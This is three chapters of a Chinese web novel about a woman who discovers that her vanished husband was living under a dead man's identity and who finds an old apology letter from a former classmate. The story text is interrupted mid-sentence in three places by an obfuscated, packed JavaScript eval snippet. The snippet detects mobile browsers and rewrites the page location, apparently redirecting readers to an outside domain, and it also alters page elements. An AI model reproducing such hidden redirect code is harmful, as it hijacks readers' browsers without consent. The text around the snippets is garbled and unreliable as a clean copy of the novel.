《我有一只守护神》 1. 旧人去 是冬天,正午十二点左右,城市里热闹的时刻。天气阴阴的,冷风呼呼吹着,山上很少见到活物。 一块块石碑静默的躺在山坡上,南冬雪想着,如果它们能够代表人的话,站在这里会是多么热闹的场景。 一个人上山,还是在这样阴森的天气里,她已经不像小时候那样害怕了,甚至会在这种地方觉得舒心。 然而现在,她正赶往新婚丈夫的墓碑前。 摆着鲜花和水果的墓碑,她在山坡下时,就一眼看到了。因为是第一次来,不知道该怎么走既能表达对死者的尊重,又能以最快的速度到达。她走了许多弯路,一直到即将看见那块墓碑时,南冬雪才发觉自己内心是拒绝的。她不愿意接受这个事实。 张梧桐,生于一九九九年三月三日,父张行,母岳元清。 照片上的那人绷着脸,向上挑着眼珠看镜头,而没有抬眼睑。那双眼睛表现出来这个人的性格是沉默、忧郁、孤僻,对外人充满戒备心。 但她的丈夫张梧桐,是一个开朗、乐观、健谈,善于交往的人。 同样的脸,同样的父母姓名,还有一个总是气势汹汹的姐姐,家门口有一家开了将近二十年的小吃店,一家三口,对人很好。 这两个张梧桐,只有性格不一样。 南冬雪和张梧桐,在今年九月份结婚。十二月,初雪的日子,新婚丈夫送她到公司,像往常一样对她挥挥手,说,“我走了”。这天下午,她下班时没有看到丈夫在公司楼下等,打了很多电话,无人接听。她独自回到家里,看到餐桌上摆着新做的饭菜,用盘子和碗扣着,打开来,是她喜欢吃的菜,但是已经凉透了。 桌上放了一张纸条,写着:我走了,记得把饭菜热热再吃。 他们从相识到相恋,最后结婚,不过是从今年三月初到十二月初期间十个月内发生的事情。他理解她内心的恐惧,所以在一起之后,不管发展到哪一步,甚至是结婚,都没有双方亲戚朋友的见证。他们只有对方彼此,不会渗透到对方其他的生活圈子里。 丈夫留着这么一张纸条后,接连一周都没有出现。唯一的联系方式是电话,但一直处于中断状态。所以,南冬雪不知道该怎么去找他。 丈夫失去踪迹的第二个周末,南冬雪看着电视里的新闻,突然冲动的拨打了报警电话。她声如蚊讷、颤抖、断断续续,回答问题迟缓、结巴,立刻引起警方怀疑。第二天一早,他们上门来了解情况,请求简单看看房间内是否有线索。 其中一名警察刚一走进丈夫的房间,看到柜子上的两人合照便愣住了,问,“这是你的丈夫?” 南冬雪点头。 “你没有看到新闻吗?”另一名警察探着脑袋看一眼那照片,也明白过来,拿出手机从网上搜索出一条视频给南冬雪看。 “搜救队伍于12月15日成功找到阿尔卑斯山遇难者,目前已联系到遇难者家属,将遗体送回家乡。” 丈夫是12月14日离开的,怎么会在一天之内到达阿尔卑斯山,然后遇难,紧接着就被找到? 南冬雪已被此事折磨了将近两周,好不容易盼到了一点点希望,又被误解。她面容憔悴,双眼无神,焦急道,“可……可是……” 两周以来,她说的话不超过十句,情绪激动之下,嗓子几乎发不出声音来。 两名警察对视一眼,明白这位应该是有障碍的残疾人,大概是家属有意隐瞒了与逝者关系最亲密的妻子,怕她受刺激这才没有通知她,于是好心的带她去逝者的家里。 张梧桐的家在郊区,一排排连栋别墅看起来有些年头了,不过家家户户门前干净整洁,尽管是在冬天,也花草繁盛,温馨祥和。远远便能看见挂着孝幡的一座房子。走上那条街道,路边还能发现一两片纸钱的灰烬残留。 他的丧事已经办完两天了,门前有人在哭,闹成一团。 走近一看,是张梧桐的母亲在哭着喊着,几个老妈妈和年轻姑娘在劝。警察见这状况不好插手,又有任务,留下南冬雪一个人先走了。 南冬雪在旁边站着,看见屋子里张梧桐的黑白照片,心已经凉了半截,眼泪不停地流着。等到张家母亲被劝下了,坐下来不哭了,一位年轻一些的女孩看见陌生的南冬雪,感到奇怪,问她,“你是谁?” 南冬雪哽咽,嗓子里像是放了铁块,又沉又痛导致说不出话来。双眼因泪水迷蒙着,拿出手机打开相册,想找一张两人的合照来证明他们的关系,迟钝地想起因为她不喜欢拍照,所以合照只有两个人的影子照片。因此双手颤抖着打开记事本打字给对方看。 女孩等不及,问,“你是我弟弟的同学?” 这也差不多。南冬雪慌忙点头,急切的想要知道更多关于张梧桐的消息。 “他每天待在家里,我都不知道他还能有关系好的同学。你要不……上几根香,说说话?” 张母听说是儿子的同学,见她如此清丽又面善的一个人儿,又想着自家孩子年纪轻轻,还没有娶妻生子就折在那种地方,一时间又痛哭起来,声音沙哑的说着,“我当初真不该同意让他去参加什么登山俱乐部,这才第一次走出家门,就……就没了……他在家里待着有什么不好?我干嘛要鼓励他走出去?一出去就是登山,真应该让你爸爸陪着,形影不离的跟着……” 南冬雪听着,心中的悲痛一时控制不住,双腿也瘫软了下来,拉着婆婆的双手,逼着喉咙说出了话,“我是他妻子……我是他妻子……” “什什么?”张母失了声才从女人的声音里分辨出了这个信息,难以置信的看着南冬雪,满脸的爱怜,仿佛是对着自己刚刚送走的儿子,“你是梧桐的妻子?” “这是什么时候的事情?”张梧桐的姐姐着急破了音,问出妈妈也想知道的事,“你们什么时候结的婚?我怎么不知道?张梧桐他每天不是待在家里就是出去登山,什么时候竟然结了婚,我们都不知道?妈,是不是你阻止他俩好,我弟他病情才加重的?” 张母气得打了女儿一下,“要是你弟他真有对象,我谢天谢地高兴还来不及……” “九月……我们是在九月……结婚了……”南冬雪从悲伤中努力抽出一丝理智回答她们。 “九月?”姐姐的声音一下子变得尖利了,看向南冬雪的眼神也厌弃起来。 “九月?九月,梧桐已经在雪山上死掉了,怎么和你结婚?你这个骗子!”张母再次被刺激,扯着身体里最后的一丝力气哭。 姐姐扶着母亲,对南冬雪冷漠的驱赶,“你应该是哭错坟了,快点走吧。我弟弟二月离开家门的,三月份失踪,搜救队一直在找,前几天才把他从雪山里挖出来,不是你要找的人,快点走吧。哎,几位大哥,对不住了,你们慢走。多谢几位,实在抱歉。” 死去的人不是她的丈夫。 她和丈夫张梧桐,三月相识,恋爱六个月后,九月结婚。这段时间,他们一直在一起。 那么,她的丈夫是谁呢? 他没有留下皮夹,没有身份证。仔细回想起来,南冬雪从来没有见过丈夫的任何身份证明。 她望向苍茫的天空,回想起自己这一生来。 二十五年,二十五岁。命运命运没有馈赠她任何东西。除了悲惨,南冬雪想不出其他的词语。 九个月前,她陷入了人生低谷,遇见了后来的丈夫,以为人生从此开启了幸福之路。 九个月后,她的新婚丈夫突然死了,紧接着发现那死去的丈夫,或许是一个整过容的冒名顶替者。 南冬雪抹去脸上的泪水,抬头看见天空飞翔的麻雀。 好冷啊!要是能拥有一间可以烤火的屋子就好了。大概是六岁,从有记忆的那时候开始,到上大学之后,能够待在属于自己的温暖屋子里,是南冬雪在冬天里的唯一愿望。六年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043115|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了,这个记忆,再次被唤醒。 她仰着头,去走那下坡路。这样不至于让自己产生一种“人生就像这样继续走下坡路了”的感觉。 成长的路上,她经历过许多次死亡时刻。 “大概是上天给我的幸运都用在活命上了吧。”她学会了用这样的想法来安慰自己。 既然如此,那么这次,也继续往前走吧。 从墓园出来,马路两边的松柏将天空变成一条窄窄的、阴沉的深渊。南冬雪揣着一颗坠入冰窟的心,独自走过那段盘山公路。连勉强的安慰也变成了毫无用处的、冷冰冰的一句话,几个字。她感受不到任何东西。 到了山下的公交车站,她呆坐着。从天蒙蒙黑,一直坐到路灯亮起来,强行撑起了那压下来的巨大的黑色天幕。唯一的一辆公交车已经来回两趟,她知道,但是大脑跟着那颗冰冷的心一起被冻住了。她什么都做不了,只有坐着。 一个穿着克因蓝色羽绒服的人坐到了她身边。那亮眼的颜色闯入她的视线,短暂的将她拉回现实之中。她快速地看了那人一眼,大概是一个二十多岁,满脸单纯、有些傻气的男学生,应该不是危险人物。她迷迷糊糊的做出如此判断,又陷进了自己的世界。 男生时不时扭头看她。皮肤蹭在衣领上的声音、腹部扭动时衣物摩擦发出的声音,比山里的夜风还要惹人烦躁。 南冬雪在他多次扭头的时候,冲动奋起,怒目而视。 让人皮肤发黄的灯光,显得她瘦小的脸好似一根快要坏掉的泡椒;处于阴影中的一双眼睛,即使看不清,他也能感受到那双眼睛里深深的痛苦,和怒火。 这张脸,和十年前相比,几乎没有变化。 男生恍然以为时光错乱,摸出手机,打开手电筒。 忽然刺眼的白光迫使南冬雪扭过头去,抬手挡了眼睛。 这个动作像极了《聊斋志异》中找丈夫报仇的美艳女鬼。男生大喜,忽的想起女孩子正在经历丧夫之痛,立即收起不合时宜的心情,把怀里的一杯奶茶塞进她的手里。 那两只手,已经僵冷。 感受到她的温度那一刻,他多想再过分一点,停留的时间久一点,为她暖暖手,但是不行。面对南冬雪平淡、冷漠的目光,男生尽量让自己表现得亲切一点,缩着脖子,放低身子,逗小女孩似的,与她视线平齐,小心翼翼的把手电筒的光照在自己脸上给她看,声音里透着些失望,“你是不是不认识我了?” 南冬雪迫切地汲取那杯奶茶的温度,但是这个过程好像让她的大脑变得更加迟钝。她不乐意同人说话,不乐意回忆,不想去在乎面前这个有失分寸的人是谁。 “我是炽连泽啊,你忘了?炽连泽,同桌!我是炽连泽!你爸爸管我爷爷叫哥,我是你表叔!我是你表叔!” 正巧公交车到了。司机师傅打开前门,冲南冬雪大喊,“走不走啊,小姑娘,最后一趟车了!再不走就没了!” 南冬雪起身,快速走到前门口,一步跨上了车。 炽连泽要去追,乍一起身,听见裂帛之声伴随着手机落地之声。他一阵慌乱,不知该顾前面还是后面。 “你走不走啊?”司机师傅问炽连泽。 南冬雪刷了公交卡,回答说,“他开车来的,不用管。” 一辆红旗轿车就停在公交车正前方,亮着尾灯。 “哎!等等我!”炽连泽提溜着撕破的裤子去追,然而司机师傅已经关上了门,扬长而去。 炽连泽。这个名字在他第一次说出来的时候,很久以前的事便如潮水一般涌来,在她脑海中展开。她不想和那时候的自己再有任何的牵扯,而这个人,知晓她曾经的一切,所以,她不想认出他。 从公交车上下来,南冬雪抬眼便锁定了垃圾桶的位置,将那杯已经变得温凉的奶茶丢进去,头也不回的向前小跑着,誓要与那些让她痛苦的事情告别。 2. 草木深 小区门楼模仿了凯旋门的造型,高大雄伟。灯装在楼顶两侧,白光穿过冬日的寒冷空气,让处于门前那块大而空的空间里的人和物,显得孤冷惨烈起来。 这里的房子是南冬雪的丈夫在新婚前几周买下来的。婚后每一天,两个人总是成双入对。一个人的时光太多太多了,她早已克服了孤独,但是尝过被爱的美好之后,再一次得到的孤独是更加深重的苦味。 好像前面有什么东西在阻挡着她的脚步。不仅是前面,后面、左面、右面,都有无形的某种东西在拉扯着她,想让她在这寒冷的空气里把身体内部所有的东西都掏出来晾一晾,把所有的脏东西都吹洗干净。 陷在这样的感觉之中的南冬雪忽然被一嗓子吓了一激灵,她第一时间停下脚步,回身看去,炽连泽正跨着大步朝她跑来,扯着嗓子喊了一声,“南冬雪,你给我站住!” 好像要债的。 他长腿长脚,曾经拿过市里的短跑冠军。此时他在南冬雪眼里就是个恐怖分子,要是不跑的话,十秒之内,绝对会被抓住。在那之后,后果不堪设想。南冬雪立即拼命往门里跑,快速的拿出门禁卡,在栅栏门内气喘吁吁,静静看着门外的人像一只猛兽,搅乱了这里的冷冽空气,并且让其沸腾起来了。 “哎!你跑什么?南冬雪,你太过分了吧?我给你的东西难道会下毒吗?你也太伤我的心了!我一片好心,你怎么能这样?你先出来,或者让我进去!我有话要和你掰扯掰扯!” 保安室里的保安看见一个身材高大的男人对着门内的小姑娘张牙舞爪,出来制止。 “大哥,我是她朋友,您通融一下,让我进去呗!” “是朋友,人家没带你进去?你快走吧!”保安说。 南冬雪向保安道过谢后,默不作声的转身离开。那条路时明时暗,她的身影便在路上时隐时现。 炽连泽急忙扒在门上,冲她的背影大喊,“留个联系方式给我!冬冬!” 冬冬是南冬雪的奶奶对她的爱称。自从炽连泽听见之后,觉得好笑,每每要让她丢脸时便会这么叫她。 保安不耐烦,再次催促,“快走快走。” 炽连泽“嘿嘿”笑着,一脸谄媚道,“大哥,你们这儿有她电话吗?给我抄一下?” “再不走我报警了。”保安说。 炽连泽这才悻悻离开。 南冬雪住的这片小区,楼层低,楼间距较宽,以景观优美著称,每一户都可以享受别墅级别的隐私保护体验。这个时间,人们大都休息了。她一路走过去,没有见到什么人。 越靠近她的新婚小窝,南冬雪心里就越难过。她为此婚姻幸福快乐的时候,告诉自己一定要努力守住,因此想到的只有白头到老,长长久久。从来不曾信佛的她,和同事去了寺庙,也会拜上一拜,求得两人幸福美满。那个时候,她觉得,他们在一起是必然的事情,表面上求的是佛,实际上是心安理得。 丈夫失踪。 那个人是冒名顶替者,真实身份不明。 这种不幸,在她目前为止的人生中,不是最糟的。没关系,她抬手抹了一把眼泪,模糊的视线上移,看见电梯厅里有两个人,她下意识的低头,靠着墙走。 “冬雪!” 其中一人喊了她一声。 从声音分辨,南冬雪知道这两人是谁了,快速的揉了揉眼睛,往两人身边走近了一些,作出惊喜的夸张笑脸,“师兄,华姐,你们怎么来了?先去我家里坐吧,家里暖和。” 林森和妙华也是一对新婚夫妻,从校服到婚纱,恩爱羡煞旁人。他们今天驱车两个小时出现在冬雪家楼下的原因是,早在一个月之前就约了冬雪夫妇一起吃饭,今天却迟迟不见她,打电话询问的时候,冬雪借口说忘记了,手头上有急事,下次再约。 冬雪是个把别人放在优先位置,事事周到的人,甚至有些过分讨好的做法。林森一听她这么说就觉得不对劲,妙华便提议亲自过来看看情况,要是需要帮忙的话刚好搭把手。她知道林森的这位师妹家境不好,成长经历坎坷,但是个心地很好、聪明努力的女孩子,有了困难不会主动麻烦别人,那么只能他们来主动了。 屋内开着地暖,暖烘烘的,几人穿着单薄的毛衣仍然觉得有些热。妙华循循善诱,南冬雪终于说出自己遇到的麻烦。 “我……老公……他失踪了。”她很少在别人面前,说出“老公”两个字。别扭的样子差点让人以为她在演戏。 一个多月前,国庆节期间,林森看到一则许久以前的消息,说是一个团队去阿尔卑斯山徒步,遭遇了雪崩,唯一的失踪者名字是张梧桐。他忽然想起冬雪在九月时发了一条朋友圈,有提到这个名字。那时候他并没有把这两个人联系起来,只是这样的曲折之下想起了冬雪,便随意的发消息问问师妹的近况。他们自从毕业后,已经三年没有联系了。 这一联系才知道,南冬雪竟然结婚了。她曾经很绝望的说,“我这样的人恐怕很难找到喜欢我的人,一辈子都苦巴巴的活着,不知所谓的活着,只要活着就是天大的幸运了,爱情对我来说,是不可能的事情。” 那时她只提到新婚丈夫的名字是张梧桐。林森把这件事同妙华分享,两人只顾着为她高兴,要来见一见让南冬雪感到幸福的良人。 南冬雪的家,是一百多平方米的三室一厅结构,呈现满满的田园风格。大横厅用印了梅兰竹菊的竹帘隔断,一边放了亚麻色沙发和书架用作客厅,一边摆了一张长方形的实木矮桌,周围的梯形架子上整整齐齐摆着巴掌大的瓷瓶,或者针勾的圆筒,大概有十几个瓶或者筒里面挤满花花绿绿的花朵。这里看起来是女主人做手工的地方。 林森觉得奇怪。他认识的冬雪根本不会把时间耗费在这些没有意义的事情上。刚进门时,他看到了,便多嘴问了一句,才知道那是因为女主人喜欢,但没有耐心去做,所以男主人在闲暇时候做了那些针织花。 客厅里各处摆了花瓶,一共六个,玫瑰或者百合大概枯萎一周了。 开放式厨房里满满当当的物件摆放有序。南冬雪去帮客人倒水、拿水果时,却显得对厨房很陌生,不知道杯子和茶叶放在哪里,乱翻了一通,拿完东西后想整理但力不从心,便放弃了。她也不知道自家的冰箱有些什么东西,把保鲜盒一一拿出来确认之后,才找出一盘草莓,一盘红提,两盒蓝莓。 妙华觉得,平时肯定是男主人在料理家务。 “他习惯把水果洗完再放冰箱,应该可以直接吃的。”南冬雪说。开包装盒盖子的手法也十分生疏。 “多久了?有没有联系他的家人朋友?工作的地方问过了吗?”林森听到冬雪说她的新婚丈夫失踪,跟着紧张起来,先了解情况,再帮她想办法。 “快两个星期了。”南冬雪垂下头,克服了痛苦情绪,深吸一口气,再抬头时,让两位客人觉得她似乎没有任何苦恼。 但实际上,这两周的痛苦已经在她的脸上各处印下了不可掩盖的痕迹。不论是从红透了的眼眶,还是疲惫伤感的眼神,不论是勉强的笑容,还是近期缺少护理的皮肤、苍白干裂的嘴唇,都告诉着别人她遭受了某种痛苦。 “我们在一起,互不打扰,没有介绍对方给自己的家人朋友。”冬雪说。 这符合冬雪的做法。冬雪害怕别人知道她的家庭,她的过去。那张梧桐也不曾告诉过她自己家庭的情况吗? “他告诉过我自己家的情况,但是我去找了,他死了,遇难去世的人不是他。我也只听他说过一次,他是在什么出版社做美工,具体的不清楚。” “啊?”妙华不大理解,“这是什么意思?” 妙华立马想到,南冬雪是不是有点开始执着、妄想了?哪有和人已经到了同居的地步,还不知道对方的个人信息? 林森却懂了冬雪的简短表述,大为吃惊,“你是说,你去他家里找人,发现你老公死了,一样的脸,一样的名字,年龄,家庭,这些都符合?但那个人和你老公是完全不同的两个人?” 冬雪点头,拿起空水杯放到嘴边喝水。妙华赶紧给她的杯子里倒了半杯水。 “我们恋爱、结婚的时候,那个人当时在阿尔卑斯山上,已经遇难了,所以肯定不是。” 是不是妄想症?她恋爱、结婚的对象并不存在?妙华看着林森,没有说话,但眼里的意思表达得十分清楚。 “他的身份证件呢?找警察了吗?警察怎么说?” “警察去他房间里看到了我们的照片,就把我带去了那个家里。但那个遇难的人不是他。其他的……我还没去找。” 林森露出一副“我就知道”的表情。他这师妹遇上情感类的问题,只会逃避。 “你做不来的话,介意我帮你吗?”林森已经站起来了。这样的态度,冬雪肯定再不乐意也不说拒绝。 “其实……”冬雪跟着站起来,仰起一张无助的脸,“失踪了也没关系,他想回来的话我会等他回来。” 林森被气到了,有些话说不出口,看了妙华一眼。妙华接收到信号,立刻劝道,“这可不行啊!万一那家伙是个骗子呢?咱们可不能吃亏,必须得把这个事搞个水落石出不可。” “他不是骗子。”冬雪一边引路,一边解释,“我没有什么东西可以被骗的。这套房子还是他全款出资买的,只写了我的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而林森猜测,这个“都”更可能是冬雪不愿意登记,所以男方顺从了。他是受不了这样的爱人跑了,还是本来就没有认真的对待过和冬雪的感情? “他有借过你的身份证件吗?”林森问。也有可能是先投饵,后钓鱼。 冬雪笃定,摇头,“我有防备,他从来没有表现出任何可疑的地方。” 这一点林森是相信的。她也曾经说过,自己有异性接触恐惧症,没有办法和男生靠近。这是心理问题,很难克服。 但戒备心很重,又恐惧和异性亲近的南冬雪,怎么会这么快和一个男人同居?三月相识,相恋六个月,进入同居生活,告诉别人说是结婚了。她这么说,一定是把同居认定为结婚的关系了。那次聊天,他对冬雪过于迅速的感情进展表示过惊讶,但她当时含糊的回应:人都是会变的。 房间里只有斗柜和一张床。斗柜上除了照片没有别的东西。床上枕头、床单、被子像酒店的作品一样,连一道折痕也无法找到。林森在房间各个角落里查看,或许是因为新房子,主人又喜好干净整洁的缘故,竟找不到任何有人生活过的痕迹。 进门时,鞋柜里有男主人的旧拖鞋和旧皮鞋。而在男主人的房间里,插座上没有划痕,地板上没有床脚移动过的擦痕,床垫底下没有藏任何东西,天蓝色的床单干干净净,没有可疑之物。 能放东西的地方,只有斗柜。林森和妙华把柜子的八个抽屉一一拉开,里面倒是放了一些男士衣物,却没有贴身内裤。 “这是他常穿的吗?”林森问。“你该不会还没有检查过他是不是收拾过行李才跑的吧?” 冬雪细细看了一遍,“我……好像没见他穿过这些。” “你看,绝对是收拾行李跑了!”林森气呼呼道。“什么都没有,收拾得干干净净。” “不是不是……”冬雪急着替人澄清,“他房间里一直都是这么干净的。他东西很少,去买东西总是买我用的。” 十月份中旬到十一月中旬之间,有几次下着暴雨、打雷闪电的夜里,她喝了酒,跑来这个房间,钻进了他的被窝里,在醒来之后快速的跑出去,当作什么都没有发生过。所以模模糊糊的大概知道,这个房间是这样的。 “看我找到了什么?!”妙华从最底部的抽屉里,几件衬衫下面拖出一个塑封袋,用两根手指捏着袋子一角,提到林森和南冬雪眼前。 冬雪接过来看,里面装着一封信。 开头是标准的写信格式:亲爱的冬雪,你好! 落款是:炽连泽。 日期是:2014年7月1日。 这是一封十年前的信。 3. 落玉盘 这是一张粉色的信纸,上面印了梅花。从字迹上看,写字的人一定是手腕不稳,一笔一画刻意用力,这才极其费力地写出来了正楷。这样的字,南冬雪只有在高中之前的班级里见过。炽连泽的字,她在那时候认得很清楚,从混乱的作业本堆里只瞥一眼便能准确的分辨出来,之后把他的东西扔远。她不想和他沾边。 现在,这封信上的字迹,确实挺像是出自炽连泽本人的手笔。 为什么丈夫的柜子里藏着来自炽连泽十年前写的一封信? “该不会……”南冬雪一想到这个猜测,心里的疙瘩陡然沉重了几分,压得她说不出话。张梧桐和炽连泽,该不会是那种关系?暗恋……相爱…… “该不会什么?我可以看吗?”林森凑过来,站在妙华身后去看信上的内容。 信上的内容如下: 亲爱的冬雪, 你好!我写这封信是为了向你道歉。对不起,冬雪。 那天,我不该推你,不该冲你发脾气。我当时太害怕,又太难过了。我爸妈后来教训了我,告诉我那件事错不在你,也不在我,谁都没有错。我应该早点向你道歉的,但我心里还是过不去,所以一直没能说出来。冬雪,希望你能原谅我。 在这里的三年中,谢谢你教我学习。虽然我学不会,你也没有很多耐心来教我,不过你是不是喜欢我带着你一起去河里摸鱼?下次我回来的时候,要是我来找你,你一定要不计前嫌的和我一起去摸鱼。 我明天一早就要走了,去市里和我爸妈一起住。你一会放学就要出发去参加数学竞赛,恐怕也没时间再见了。不过没关系,下面是我爸妈的电话,你可以随时打电话找我。 还要再说一下,你的脾气很差,希望能改一改。你的虎牙虽然可爱,但是请不要乱咬书本了,听说油墨对身体不好,饿的话我在你抽屉里塞了一罐糖,记得收好。 祝你 好好学习, 天天向上。 炽连泽 2014年7月1日 “你们说,什么样的感情会让人珍藏另一个人的书信长达十年?就连搬家,什么多余的东西都没有,只有这个还留着。他留这个干什么呢?”冬雪两眼无神,呆呆的目视前方。这句话像是被鬼怪附体了之后说的。 林森有些无奈,卷起那塑封袋,往冬雪头上敲了一下,“有没有可能是和你有关系呢?还有,你不该先问问这个叫炽连泽的人,应该是你的初中同学吧,写得这封道歉信为什么会在你丈夫的手上吗?” 冬雪回过神来,对师兄的批评表示不满,“我不是在问吗?华姐,我们的意思不是一样的吗?” 这该偏向谁?妙华些许为难,只好翻译一遍林森的话,“你们仨是同学吗?炽连泽的信不是给你的吗?怎么会流落到别人手上?” 冬雪双手按着脑袋,回到客厅,抱着巨大的卡皮巴拉玩偶,在林森和妙华期待的眼神中,不情不愿的回答,“我不记得了。学校里很多人,我不确定张梧桐是不是和我们在一个学校。炽连泽给我信那天,我记得当时是下午最后一节课了,他在上课铃响的时候,把一个信封硬塞到我的笔下就离开教室了,我趁他走之后,把那玩意扔到了我背后的垃圾桶里。之后,被谁捡了,我就不知道了。” 她记得很清楚那天的事情。只要一回忆,仿佛重新回到了十年前,身临其境,因为这封信给她留下了深刻的印象。 冬雪发现了其中的疑点,“不过,有一个问题,当时他给我的是信封,我没有拆开来看,不知道里面是什么样子,也不知道写的是什么,而且我忘了那天是几号,所以没法判断这张纸是不是他给我的那封信,对不对?” “但是这封信的内容完全和你有关,你老公他收藏这个难道不是因为你吗?谁会冒充别人向你道歉?还有另外一个炽连泽吗?正巧他也做了对不起你的事情?”妙华说。 “不如去找这位炽连泽问问?”林森说,“既然作为你……男朋友的张梧桐,根据你提供的他的身份信息,最后指向了那位遇难者,目前就没有别的办法可以找出你男朋友的真实身份了,我觉得这封信应该是一个突破点。不如先去找找这位炽连泽,问问他,这封信是不是他写的?你们三个人之间曾经有过什么故事,是不是就有可能找到张梧桐了呢?毕竟十年前,如果你男朋友当时也在那个学校的话,他肯定也是学生嘛,初中生的家绝对不会离学校太远,就可以缩小寻找范围了。” 林森觉得,冬雪和张梧桐两个人既然没有结婚登记,那就是男女朋友的关系。冬雪太孤独,内心太渴望爱了,他担心那个男人实际上是个骗子之类,冬雪陷得太深,受伤就会太重,到时候难以从中走出来。 没想到冬雪恋恋不舍的放下了那封信,强迫自己割断情感,放下这件无头无脑的麻烦事,“没关系,师兄,华姐,我不找了。他想回来的话,会回来的,我还要上班。” 妙华看看林森,这什么情况?这样坚强的女人她可是第一次见,连真相也不愿意知道了?万一那男的是偷偷摸摸去找别的女人了呢?万一那男的暗地里在搞什么阴谋呢?他什么都没留,只有这封信,这不是明摆着让冬雪去找这条线索吗?冬雪为什么不去? “那师兄帮你找。”林森懂妙华的意思,但他也清楚冬雪在感情上很会做缩头乌龟,不太美好的成长经历让她总是在这类事情上躲起来,令人无可奈何。“你有炽连泽的联系方式吗?” 冬雪摇头,“2014年7月1日之后就没见过了,也没有联系。” 林森和妙华默契的拿出了手机,按照信上的电话,一人打一个号码。意料之外的,林森拨打的号码是空号,而妙华所拨打的电话被接通了。 “您好?” 冬雪和林森紧张的看着妙华。 电话那头是一个中年男声,“哪位?” 地方方言口音浓重。 “打扰您了,我找一下,炽连泽,他给我留下了这个号码。” “谁啊?没听说过。” 电话被挂断。冬雪倒像是松了一口气,“没办法了,就这样吧,师兄,华姐,谢谢你们,时间已经不早了,要不你们在我这将就一晚上,明天再走?” 林森这时候再继续炽连泽的话题,绝对会惹得冬雪暴躁。既然如此,林森也只好作罢,拒绝了冬雪的客套邀请,拉上妙华的手,准备离开,“不打扰你了,我们现在赶回去,明天还有工作。那,冬雪,你要是有什么事一定要和师兄说,知道吗?” “不方便的话,找我也一样的。”妙华补充。 夫妻俩只让冬雪送到门口。 门关上了,和别人的幸福世界隔绝开来。她久久的站在原地,直到双腿麻木,回过头来,暖光、橡木地板、奶白色地毯、精巧的瓷瓶等等,以前她每一次回到这个家里,都有一种动画片上的松鼠钻进自己的树洞窝里的满足感,张梧桐会跟在她身后,先把她身上的包拿下来,再帮她脱外套,拿拖鞋,告诉她餐桌上有小蛋糕或者水果。 “先去吃点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043117|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”张梧桐把手里的菜放进厨房,先去换了舒适的睡衣,再急急忙忙跑到厨房里洗手,把菜从袋子里拿出来一一规整好,然后开始洗菜、切菜。 她想象过婚后给自己和爱人做饭的幸福场景,但是这一天真正到来那一刻,她不知该从何下手。张梧桐从她手里接下了菜刀,一边看着手机里的烹饪教学视频,一边做菜。从此以后,她就成了打下手的那个人。不过,她也常常不知道打下手应该做些什么,跟在丈夫身后看起来忙碌,实际上一点忙也没帮上。 “帮我开一下水。”张梧桐说。他喜欢哼歌,来来去去只有一两句,有时候哼着调子,有时候唱出声。调动冬雪的命令夹杂在这些音符之中。 他的手抓着冬雪的手,打开了水龙头。水压过大,水花溅起来,两人挤在一起笑着尖叫。他快速冲洗了鱼肉之后,回到切菜区去准备别的。没有冬雪帮忙,他也是这样一套流程把活做完。 在这套房子里一起生活的第十三天,深觉自己无能的冬雪,看着忙碌的张梧桐系着围裙,宽肩窄腰,大高个在厨房里得时常小心不碰到头,他的身体随着哼出来的调子轻轻晃动着,抽空还要顾着旁边执着于帮忙的妻子,不至于冷落了她。 “今天怎么样?开心吗?” “大家每天斗志满满,很开心啊!”他先问,冬雪再回答。 他们相处,看起来总是张梧桐掌握了主动权。他先说话,他先提出建议,房子里缺少女主人的声音,但实际上每一处,都是男主人迎合了妻子的喜好,精心布置,引导她表达自己、敞开心扉。 保持沉默的小女孩,被迫安安分分、克制需求的小女孩,一直长到二十五岁,新婚的丈夫把她捧在手上,开始观察她内心的需求。把她的需要,当作公主的命令一样,觉得她的一切需求都让她更耀眼了。她一耀眼,他就觉得骄傲、幸福。 在这套房子里一起生活的第十三天,她看着丈夫的背影,主动地走过去,从他身后环住了他的腰,下巴贴着他的背,随着他的移动而移动。 “哈!我老婆今天很爱我吗?”张梧桐对此表示惊喜,尽力站着不动,让她尽情抱着。“我可真是太优秀了!哈哈哈……老婆老婆,来尝尝我煮的鱼汤。” 他也不对劲。冬雪认识的张梧桐,很少哈哈大笑。他总是微笑着,等着她靠近,用鼓舞、期待的眼神看着她,等待她掌握决定权。他更像是一个温柔、强大的背景板,暗示着她,随意她想做什么,他都会接受,都做好了准备替她兜底。 他似乎从未表达过自己的喜好。她因成功到达攀爬云梯顶端而大笑的时候,他为她开心,没有要自己试一试的想法。她因吃到好吃的饭菜喂给他吃的时候,他说好吃,但没有再多尝一口,下一次还会点一样的东西留给她先吃。她在两个玩偶之间犹豫不决,但说好只能买一个的时候,他放下了自己手里的士兵摆件,拿走了她喜欢的其中一个玩偶,说他喜欢那个…… 